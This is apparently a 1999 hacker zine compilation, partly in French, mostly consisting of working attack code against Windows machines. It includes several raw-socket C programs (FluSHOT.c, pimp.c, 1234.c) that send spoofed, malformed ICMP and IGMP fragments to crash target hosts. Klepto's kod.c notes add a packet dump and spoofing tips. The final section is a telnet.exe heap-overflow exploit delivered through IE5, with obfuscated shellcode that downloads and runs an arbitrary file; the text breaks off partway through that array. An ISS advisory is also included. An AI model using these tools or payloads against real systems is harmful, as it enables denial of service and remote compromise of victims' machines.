      if (( host = gethostbyname(name) ) == NULL )  {

         fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);

         return(-1);

      }

      addr->sin_family = host->h_addrtype;

      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

   }

   addr->sin_port = htons(port);

   return(0);

}

unsigned short in_cksum(addr, len)

    u_short *addr;

    int len;

{

    register int nleft = len;

    register u_short *w = addr;

    register int sum = 0;

    u_short answer = 0;



    while (nleft > 1)  {

        sum += *w++;

        nleft -= 2;

    }



    if (nleft == 1) {

        *(u_char *)(&answer) = *(u_char *)w ;

        sum += answer;

    }



    sum = (sum >> 16) + (sum & 0xffff);

    sum += (sum >> 16);                 

    answer = ~sum;                      

    return(answer);

}

int send_winbomb(int socket,

                 unsigned long spoof_addr,

                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;

   struct iphdr   *ip;

   struct icmphdr *icmp;

   int rc;



   packet = (unsigned char *)malloc(sizeof(struct iphdr) +

                                    sizeof(struct icmphdr) + 8);

   ip = (struct iphdr *)packet;

   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->ihl      = 5;

   ip->version  = 4;

// ip->tos      = 2;

   ip->id       = htons(1234);

   ip->frag_off |= htons(0x2000);

// ip->tot_len  = 0;

   ip->ttl      = 30;

   ip->protocol = IPPROTO_ICMP;

   ip->saddr    = spoof_addr;

   ip->daddr    = dest_addr->sin_addr.s_addr;

   ip->check    = in_cksum(ip, sizeof(struct iphdr));



   icmp->type              = 12;

   icmp->code              = 0;

   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 1,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) == -1) { return(-1); }

   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->frag_off = htons(8 >> 3);

   ip->frag_off |= htons(0x2000);

   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   icmp->type = 0;

   icmp->code = 0;

   icmp->checksum = 0;

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 8,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);

   return(0);

}

int main(int argc, char * *argv) {

   struct sockaddr_in dest_addr;

   unsigned int i,sock;

   unsigned long src_addr;

   banner();

   if ((argc != 4)) {

      usage(argv[0]);

      return(-1);

   }



   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

      fprintf(stderr,"ERROR: Opening raw socket.\n");

      return(-1);

   }



   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }

   src_addr = dest_addr.sin_addr.s_addr;

   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }

   printf("Status: Connected....packets sent.\n",argv[0]);

   for (i = 0;i < atoi(argv[3]);i++) {

      if (send_winbomb(sock,

                       src_addr,

                       &dest_addr) == -1) {

         fprintf(stderr,"ERROR: Unable to Connect To luser.\n");

         return(-1);

      }

      usleep(10000);

   }

}


----------[FluSHOT.c END CUT HERE]--------------------------------------------------

----------[Pimp.c START CUT HERE]--------------------------------------------------
/*
** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
** exploits bug in m$'s ip stack
** rewrite by nyt@EFnet
** bug found by klepto
** usage: pimp <host>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>

struct igmp
{
        unsigned char igmp_type;
        unsigned char igmp_code;
        unsigned short igmp_cksum;
        struct in_addr igmp_group;
};

#define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}

u_long  resolve(char *);

int main(int argc, char *argv[])
{
 int nsock, ctr;
 char *pkt, *data;
 struct ip *nip;
 struct igmp *nigmp;
 struct sockaddr_in s_addr_in;

 setvbuf(stdout, NULL, _IONBF, 0);

 printf("pimp.c by nyt\n");

 if(argc != 2)
  ERROR("usage: pimp <host>");

 if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  ERROR("could not create raw socket");

 pkt = malloc(1500);
 if(!pkt)
  ERROR("could not allocate memory");

 memset(&s_addr_in, 0, sizeof(s_addr_in));
 memset(pkt, 0, 1500);

 nip = (struct ip *) pkt;
 nigmp = (struct igmp *) (pkt + sizeof(struct ip));
 data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
 memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));

 s_addr_in.sin_addr.s_addr = resolve(argv[1]);

 nip->ip_v  = 4;
 nip->ip_hl  = 5;
 nip->ip_tos  = 0;
 nip->ip_id  = 69;
 nip->ip_ttl  = 255;
 nip->ip_p  = IPPROTO_IGMP;
 nip->ip_sum  = 0;
 nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
 nip->ip_src.s_addr = 2147100000;
 nigmp->igmp_type = 2;
 nigmp->igmp_code = 31;
 nigmp->igmp_cksum = 0;

 inet_aton("128.1.1.1", &nigmp->igmp_group);

 printf("pimpin' dem trick-ass-bitches");

 for(ctr = 0;ctr < 15;ctr++)
 {
  printf(".");
  nip->ip_len  = 1500;
  nip->ip_off  = htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  = htons(1480/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  = htons(5920/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_len   = 831;
  nip->ip_off  = htons(7400/8);
  sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  usleep(500000);
 }

 printf("*slap* *slap* bitch, who yo daddy\n");
 shutdown(nsock, 2);
 close(nsock);
}

u_long resolve(char *host)
{
        struct hostent *he;
        u_long ret;

        if(!(he = gethostbyname(host)))
        {
                herror("gethostbyname()");
                exit(-1);
        }
        memcpy(&ret, he->h_addr, sizeof(he->h_addr));
        return ret;
}

----------[Pimp.c END CUT HERE]--------------------------------------------------


--             Hector Leon             --
darksun@computer-maniacs.com
--CiMOS Computers Rep. Dom.--

_________________________________________________________________________________________________________
2.1-:About IGMP and another exploit for Windows95x/98x ; commentaires :
_________________________________________________________________________________________________________

Lionel, m'as avertit d'une pompe. Apres vrification je dois admettre que le source de flashbot semble avoir t pomp...Je vous donnes celui que Lionel m'a donn. On ne fera pas de polemique...

/* CAMELEON GROUPE PRESENTE 1234.c un denial of service parmit t'en d'autre
 * 
 * ATTENTION: Se denial of service a ete cre pour etude(but educatif) sur l *
 * 'icmp.Il est interdit de s'en servir pour un but de piratage.Le piratage est
 *
 * interdit.Je ne me tien pas responsable de se que vous ferez de se prog.
 *
 * Pour me trouvez 2 solution - faire le nf17 sur son tel ou - m'ecrire 
 *
 * tony@funradio.fr ;) THE SCRIPT CAME.BX sera bientot disponible!
 *
 * I F.O.A.D. BILL GATE , MICROSHIT , LES POULETS , WINDAUBE , FIREBALL ,
 *
 * NEWBIES , LAMES , PD , COWBOYs AND WARLORDs , tous se qui ont pas 
 *
 * cruent en moi , JCzic(tu aurras jamais linux, mais linux te turas).   
 *
 * Merci : Les operateurs de #funradio, mach..., rewtou, cod4, 
 *
 * ...et tous les autres.  
 *
 * CAMELEON GROUPE F.O.A.D. THE WORLD! VIVE LA FRANCE!
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

void banner(void) {
        
   printf("\n1234 1.0 BY CAMELEON G.\n");
   printf("reprise de came.c and ssping.c\n\n");

}

void usage(const char *progname) {

   printf("usage :\n");
   printf("%s <spoof adresse> <dst ip> <num>\n",progname);
   printf(" < spoof   > : ip spoof ex: 127.0.0.1\n");
   printf(" < dest    > : ip victim ex:193.252.19.3\n");
   printf(" < number  > : 10\n");
   printf(" Se denial of service rulezzzzzzzzzzz! Non?\n");
   printf(" Se prog  t fait pour l'etude et pas pour s'en servir.\n");
}

int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {

   struct hostent *host;

   memset(addr,0,sizeof(struct sockaddr_in));

   addr->sin_family = AF_INET;
   addr->sin_addr.s_addr = inet_addr(name);

   if (addr->sin_addr.s_addr == -1) {
      if (( host = gethostbyname(name) ) == NULL )  {
         fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
         return(-1);
      }
      addr->sin_family = host->h_addrtype;
      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
   }

   addr->sin_port = htons(port);
   return(0);

}

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);                 /* add carry */
    answer = ~sum;                      /* truncate to 16 bits */
    return(answer);
}

int send_winbomb(int socket,
                 unsigned long spoof_addr,
                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;
   struct iphdr   *ip;
   struct icmphdr *icmp;
   int rc;

        
   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                    sizeof(struct icmphdr) + 8);

   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
   
   /* This is the IP header of our packet. */

   ip->ihl      = 5;
   ip->version  = 4;
// ip->tos      = 2;
   ip->id       = htons(1234);
   ip->frag_off |= htons(0x2000);
// ip->tot_len  = 0;
   ip->ttl      = 30;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr    = spoof_addr;
   ip->daddr    = dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));


   icmp->type              = 12;
   icmp->code              = 0;
   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct icmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
   

   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
   ip->frag_off = htons(8 >> 3);
   ip->frag_off |= htons(0x2000);
   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   icmp->type = 0;
   icmp->code = 0;
   icmp->checksum = 0;

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct icmphdr) + 8,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);
   return(0);

}

int main(int argc, char * *argv) {

   struct sockaddr_in dest_addr;
   unsigned int i,sock;
   unsigned long src_addr;

   banner();
   if ((argc != 4)) {
      usage(argv[0]);
      return(-1);
   }
   
   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
      fprintf(stderr,"ERROR: Opening raw socket.\n");
      return(-1);
   }
   
   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
   src_addr = dest_addr.sin_addr.s_addr;

   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }

   printf("%s: J'envoie la sauce! b00m!\n",argv[0]);
   for (i = 0;i < atoi(argv[3]);i++) {
      if (send_winbomb(sock,
                       src_addr,
                       &dest_addr) == -1) {
         fprintf(stderr,"ERROR: faut etre root IDIO.\n");
         return(-1);
      }
      usleep(10000);
   }
}

Voila, la ressemblence tait frappante. Tout cela pour dire que cette news n'est pas d'une tres grande
fraicheur...

=============================================================
2.1-:About IGMP and another exploit for Windows95x/98x (End):
_______________________________________________________________________________________________________





_________________________________________________________________________________________________________
2.2-:more detail and summary of kod.c (igmp bug for windows)(begin) :
=====================================================================

Ok,
here we go again.. 
For those who are having trouble with kod, alot of you are using a very old
version which was the first i submitted.
inserted is the lastest version which should work. I wrote kod.c aka
cherrycoke.c about 3-4 months ago. 
It sends a fragmented igmp packet to a windows client that states that it is not
fragmented but there are more frags to come
windows assembles the packets and dies trying. Here is a dump of the packet if
you want to rewrite it.

/* output via tcpdump or windump95
63.66.66.44 > 24.128.158.18: igmp-2 [v0][|igmp] (frag 52242:1480@0+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@1480+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@2960+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@4440+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@5920+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@7400+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@8880+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@10360+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@11840+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@13320+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:1480@14800+) (ttl 128)
63.66.66.44 > 24.128.158.18: (frag 52242:120@16280) (ttl 128)
*/

::notice the last frag it changed length..

I have also ported kod to windows and please email me if you want a copy of it.

As far as I can tell due to my exaustive research on the subject it works on
95/98/98se/2k(some betas)

Friends of mine such as defile/nyt/ignitor/etc have rewritten kod to suit there
needs..

I have tested kod.c out alot on many machines and it works 85% of the time for
me.
There are circumstances to why kod doesn't always work, some routers my drop
igmp packets if
the source isn't local so try spoofing =). As far as I can see netcom and alot
of .ca servers drop the kod packets.
So please dont bark at me =) I just found the bug, wrote the code and what you
do with it is your concern =).


Patch:
(no hotfix currently)
If you want to protect yourself from kod.c I suggest you get winroute from
www.winroute.com
get version 4.. It automatically drops igmp packets incoming and outgoing ha =)
It is also a very good portmapper/NAT firewall/ip masqer as well..

Shoutouts:
amputee/ignitor/nizda/antibyte/codelogic/ill`/chord/cheesebal/traveler/winx/naz/dist/mrcide/etc...
(gotta give shoutouts)

hasta,

klepto@Efnet
or klepto@levitate.net
de omnibus dubitandum

==================================================================
2.2-:more detail and summary of kod.c (igmp bug for windows)(End):
________________________________________________________________________________________________________





_______________________________________________________________________________________________________
2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server (begin):
================================================================================================

-----BEGIN PGP SIGNED MESSAGE-----


ISS Security Advisory
August 9, 1999

Denial of Service Attack Against Windows NT Terminal Server

Synopsis:

The ISS X-Force has discovered a denial of service attack against
Windows NT Server 4.0, Terminal Server Edition.  This vulnerability
allows a remote attacker to quickly consume all available memory on a
Windows NT Terminal Server, causing a significant disruption for users
currently logged into the terminal server, and preventing any new terminal
connections from being successfully completed.

Recommended Action:
Network administrators can protect internal systems from external attack
by creating a packet filter of the form:
    - Prevent all incoming packets destined for TCP port 3389

If you have a legitimate need for terminal server connections to be made
from outside your network, you should limit access to TCP port 3389 to
only the external IP addresses or networks that have a legitimate reason
to connect.

The fix for this problem is available at
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40tse/hotfixes
- - -postSP4/Flood-fix/

The Microsoft bulletin describing this issue is available at
http://www.microsoft.com/security/bulletins/ms99-028.asp.

Description:
Windows NT Server 4.0 Terminal Server Edition listens for terminal
connections on TCP port 3389.  Once a TCP connection is made to this port,
the terminal server will utilize resources in order to handle the new
client connection and authenticate the connection.  The manner this is
done, however, requires significant server resources before any
authentication takes place and without any throttling of resource
utilization.

Specifically, a remote attacker can quickly cause a server to reach full
memory utilization by creating a large number of normal TCP connections
to port 3389.  Individual connections will timeout, but a low bandwidth
continuous attack will maintain a terminal server at maximum memory
utilization and prevent new connections from a legitimate source
from taking place.  Legitimate new connections will fail at this point
with an error of either a connection timeout, or the terminal server has
ended the connection.

In testing, a long running attack of this type has been able to
sporadically crash the terminal server executable and permanently maintain
the machine at full memory usage without allowing any new terminal server
connections until the machine was rebooted.

Additional Information:

This vulnerability was primarily researched by David J. Meltzer of the ISS
X-Force.

________

About ISS:

ISS leads the market as the source for e-business risk management solutions,
serving as a trusted security provider to thousands of organizations
including 21 of the 25 largest U.S. commercial banks and more than 35
government agencies. With its Adaptive Security Management approach, ISS
empowers organizations to measure and manage enterprise security risks
within Intranet, extranet and electronic commerce environments. Its
award-winning SAFEsuite(r) product line of intrusion detection,
vulnerability management and decision support solutions are vital for
protection in today's world of global connectivity, enabling organizations
to proactively monitor, detect and respond to security risks. Founded in
1994, ISS is headquartered in Atlanta, GA with additional offices
throughout the U.S. and international operations in Australia/New Zealand,
Belgium, France, Germany, Japan, Latin America and the UK. For more
information, visit the ISS Web site at www.iss.net or call 800-776-2362.
Copyright (c) 1999 by Internet Security Systems, Inc.  Permission is
hereby granted for the redistribution of this Alert electronically.  It is
not to be edited in any way without express consent of the X-Force.  If
you wish to reprint the whole or any part of this Alert in any other
medium excluding electronic medium, please e-mail xforce@iss.net
forpermission.

Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as
well as on MIT's PGP key server and PGP.com's key server.

Please send suggestions, updates, and comments to: X-Force xforce@iss.net
of Internet Security Systems, Inc.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBN67ziDRfJiV99eG9AQFDggP+N4t+n/UhAxGiBRJDGxjFeJSgfbjbDMd7
m6BVFhe4RSDsmLbKoHnK+8J9bM5RoiWMiY6pMe2YUcfQfRySwz3nfmnzpxXjoUmv
Tv7aWiSvqcc6OVHS7/7tKMzxL49g/6PFPUVqRDhkKrrWbdhTW9uKejn77OfY9l2r
8ckrqQ4k3l4=
=4Kwx
-----END PGP SIGNATURE-----

_______________________________________________________________________________________________________
2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server ; Rponse (1/1):
_______________________________________________________________________________________________________

One small clarification:

At 11:51 AM 8/9/99 -0400, X-Force wrote:

>The ISS X-Force has discovered a denial of service attack against
>Windows NT Server 4.0, Terminal Server Edition.  This vulnerability
>allows a remote attacker to quickly consume all available memory on a
>Windows NT Terminal Server, causing a significant disruption for users
>currently logged into the terminal server, and preventing any new terminal
>connections from being successfully completed.

This isn't precisely correct.  The problem is that the attack will consume
about 1MB of RAM per connection.  If you have a machine with 1GB, and it is
capped to allow 50 users to connect, a worst-case scenario is that the
machine will now be running with a mere 950 MB for the users that are
already on the box.  Under these conditions, the existing users probably
won't notice the attack.  New users will be hindered in their connection
(not prevented), as they are competing with the attacker for new slots -
they might get one before the attack app managed to get the timed out
connection - at least that's the way it worked when I tested this.  OTOH,
if you have a 50 user limit on a machine with 64MB of RAM, you'll
experience a pretty severe disruption, although I don't think I'd want to
be on that machine with more than a few legitimate users to begin with.  So
essentially, if you've got the user limit capped at a value where there is
> 1MB RAM available per user, then "all available memory" won't get
consumed, and existing users won't experience a significant disruption.  I
believe Dave Meltzer was doing his testing with a server that had a fairly
small amount of RAM.

I'd also note that unless someone is spoofing the TCP connections, the IP
of the attacker is going to show clearly in netstat -a.

That said, I'd upgrade any Terminal Server with the patch, and make sure
that my firewall rules excluded 3389, unless I wanted to explicitly allow
people to connect to terminal server from the internet.


David LeBlanc
dleblanc@mindspring.com

==============================================================================================
2.3-:ISS Security Advisory: Denial of Service Attack Against Windows NT Terminal Server (End):
________________________________________________________________________________________________________





________________________________________________________________________________________________________
2.4-:telnet.exe heap overflow - remotely exploitable (begin) :
==============================================================
   
Heap Overflow in windows 98 Telnet.exe - remote via IE5 
------------------------------------------------------------ 
Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) 

More fun and games courtesy of Microsoft (c:)... 

Telnet.exe - (77824 bytes, 11th May 98) 
--------------------------------------- 
This version of Telnet (which ships as part of Windows 98) 
has a bug which allows a heap overrun. It assumes 
that the first command-line argument will be <255 chars 
when preparing for the "Connect Failed" message-box. The 
result is that a few crucial bytes can be written over, 
which, as the telnet app is closing, allow full execution 
of arbitrary code. See below for full details... 

This is still all local, though, so let's skip to the 
REMOTE part. 

IE 5.00.2314.1003/5.00.2314.1003IC 
---------------------------------- 
Internet Explorer automatically invokes telnet when given 
an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier 
versions of IE which I experimented with had comparitively 
tight restrictions on the format of the url, only allowing 
two parameters through (two zeros to you and me ;) As it 
turns out, this is not enough (for me) to exploit the bug. 
But with the versions named above, which as of writing 
include the latest version Microsoft would let me 
download, the restrictions seem to have been lifted. I can 
only assume that this is either unintentional, or that 
tn3270 or telnet applications have been found which makes 
this desirable... Whatever! The end result is that it 
seems the most recent versions of IE 5 will faithfully 
pass any collection of parameters up to about 460 chars 
into telnet.exe. 

Systems at risk 
--------------- 
Windows 98 default installation with SOME versions of IE5. 
If you click on a link, or are refreshed to a link, then 
see telnet.exe pop-up, complaining that it can't connect 
to a garbage-type address, DO NOT close the telnet 
executable. Instead, either forcefully terminate the 
process, or reboot. The exploit does NOT take effect until 
telnet.exe is closing. 

Solution 
-------- 
Either remove telnet.exe from the path, so IE cannot launch 
it, or get a copy of the WinNT telnet.exe. 

Exploit - introduction 
---------------------- 
Heap overruns are not for the faint of heart. If you have 
trouble following stack overrun exploits, turn back now - 
or go and learn, then come back. 

With a stack overflow, getting the machine to execute into 
our buffer is relatively easy. We have, after all, 
overwritten the function return address. Point this 
(indirectly or not) at the esp and you're in business. 
Without this benefit, we have a much tougher time 
exploiting the overrun. In fact it is entirely possible 
that no exploit is possible. 

It all depends on what follows our buffer in memory. 

The best candidates for overwriting are pointers. If we can 
overwrite one which the program subsequently uses, we have 
a chance to make something happen. 

The trick is to ignore what the program is trying to do, 
and to look at what it's doing. 

One core idea I've found to be of value is this: One way to 
get execution onto the stack is to find a way to manipulate 
our uncorrupted stack. Often you will find a pointer to the 
stack (or command-line) somewhere not far from the top (of 
the stack). If it can be moved only a few bytes, or we can 
conspire to pop more than we push, we can then return to 
our buffer. 

Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT) 
---------------------------------------------------- 
The overrun we are presented with is only a handfull of 
bytes, just enough to overwrite one pointer value following 
the buffer in memory. This pointer, as it turns out, 
originally points to an array of 1024 pointers, which are 
either NULL, or point in turn to a 16-byte structure. From 
context this seems to be a file-handle table of sorts. 

When I examined the routine (fflush) where we end up 
referencing the pointer, it turns out that the code 
iterates thru the 1024 pointers, and for each non-NULL 
entry, it examines and conditionally changes the 16 byte 
structure pointed to. It is the change we are interested 
in. 

If the structure is represented as: 
DWORD dw1, dw2, dw3 

then the effect of the change is: 
dw1 = dw3 
dw2 = 0 

Whilst examining various locations in memory where out 
exploit string ends up (there are a couple, as the 
command-line get passed, then parsed), I found one where 
the following 4k was allocated and 99% zeros. 

I also found at the top of the stack, about 12 bytes back, 
a pointer to our exploit string (WinMain lpCmdLine anyone), 
which was ripe to be copied down 8-bytes to overwrite a 
return address. 

Now ideally, if the memory I found was all blank, all I'd 
need to do would be to arrange for the trailing bytes of my 
exploit string to point to the appropriate place on the 
stack. This last DWORD, followed by 1024 DWORD zeros, would 
serve as a faux handle table which would overwrite a return 
address with a pointer to our exploit. 

Are you with me... If not, go back now. 

In the actual case I found there were indeed 1024 zeros, 
but there was also one non-zero DWORD directly after my 
exploit and before the zeros. I needed to remove these 
values for the table to not crash... so I used the same 
technique over again to remove it - adding another entry at 
the top of our table pointing to the offending location 
neatly removes it, then the second entry does the actual 
work, and the rest of the table is empty. 

Done. Complete. Works. 

Exploit Attached 
---------------- 
I have worked out an exploit which downloads and runs an 
arbitrary file, and have included the source for a Visual 
C++ program to create a binary file containing the exploit 
as a link. Add (for example) an html header and footer, and 
you have it. 

Notes: The exploit uses URLDownloadToCacheFile and WinExec. 
Disassembling the binary file will show you the code 
(strings have been xor'ed with 0xFADE). 
Any comments on the exploit code would be appreciated. 

------------------------------------------------------------ 
#include <stdio.h> 
#include <afx.h> 
#include <windows.h> 


void Usage( void ) { 
printf( "Usage: exfact url(40) outfile\n" ); 
} 

#define URL_OFFSET 48 

unsigned char aSploit[] = { 
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33, 
0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2, 
0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE, 
0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2, 
0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD, 
0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE, 
0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0, 
0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF, 
0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE, 
0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53, 
0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE, 
0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE, 
0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B, 
0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66, 
0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0, 
0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33, 
0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35, 
0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02, 
0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 
0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04, 
0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B, 
0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83, 
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8, 
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF, 
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0, 
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B, 
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51, 
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33, 
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74, 
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56, 
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
